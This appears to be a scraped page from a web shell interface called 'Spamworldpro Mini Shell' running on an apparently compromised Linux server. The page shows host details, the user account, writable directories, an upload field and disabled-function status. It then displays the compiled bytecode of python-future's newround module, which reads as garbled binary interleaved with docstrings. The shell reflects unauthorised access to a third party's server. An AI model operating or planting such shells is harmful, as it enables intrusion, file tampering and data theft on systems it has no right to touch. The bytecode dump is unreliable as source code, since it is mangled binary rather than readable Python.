Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux server1.richineiserver.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : fdshops ( 1003)
PHP Version : 8.2.21
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/future/builtins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/future/builtins/newround.pyo
�
,1�]c@sZdZddlmZmZmZddlmZmZdd�Z	d�Z
dgZdS(sD
``python-future``: pure Python implementation of Python 3 round().
i����(tPYPYtPY26tbind_method(tDecimaltROUND_HALF_EVENcCst}|dkr!t}d}nt|d�r=|j|�S|dkrXtd��ntd�|}tr�dtt	|��kr�t
|�}q�nt|t�r�|}nBts�tj
|�j|dt�}nt|�j|dt�}|rt|�St
|�SdS(s�
    See Python 3 documentation: uses Banker's Rounding.

    Delegates to the __round__ method if for some reason this exists.

    If not, rounds a number to a given precision in decimal digits (default
    0 digits). This returns an int when called with one argument,
    otherwise the same type as the number. ndigits may be negative.

    See the test_round method in future/tests/test_builtins.py for
    examples.
    it	__round__s"negative ndigits not supported yett10tnumpytroundingN(tFalsetNonetTruethasattrRtNotImplementedErrorRRtreprttypetfloatt
isinstanceRt
from_floattquantizeRt
from_float_26tint(tnumbertndigitst
return_inttexponenttd((s</usr/lib/python2.7/site-packages/future/builtins/newround.pytnewrounds*
	
	
c	Cs�ddl}ddlm}t|ttf�r;t|�S|j|�sY|j|�ritt	|��S|j
d|�dkr�d}nd}t|�j�\}}d�}||�d}||t
|d|�|�}|S(	s�Converts a float to a decimal number, exactly.

    Note that Decimal.from_float(0.1) is not the same as Decimal('0.1').
    Since 0.1 is not exactly representable in binary floating point, the
    value is stored as the nearest representable value which is
    0x1.999999999999ap-4.  The exact equivalent of the value in decimal
    is 0.1000000000000000055511151231257827021181583404541015625.

    >>> Decimal.from_float(0.1)
    Decimal('0.1000000000000000055511151231257827021181583404541015625')
    >>> Decimal.from_float(float('nan'))
    Decimal('NaN')
    >>> Decimal.from_float(float('inf'))
    Decimal('Infinity')
    >>> Decimal.from_float(-float('inf'))
    Decimal('-Infinity')
    >>> Decimal.from_float(-0.0)
    Decimal('-0')

    i����N(t_dec_from_tripleg�?iicSs.|dkr&ttt|���dSdSdS(Nii(tlentbintabs(R((s</usr/lib/python2.7/site-packages/future/builtins/newround.pyt
bit_length\si(tmathtdecimalRRRtlongRtisinftisnanRtcopysignRtas_integer_ratiotstr(	tft_mathRtsigntnRR tktresult((s</usr/lib/python2.7/site-packages/future/builtins/newround.pyR:s
		!RN(t__doc__tfuture.utilsRRRR"RRR
RRt__all__(((s</usr/lib/python2.7/site-packages/future/builtins/newround.pyt<module>s
.	,

Spamworldpro Mini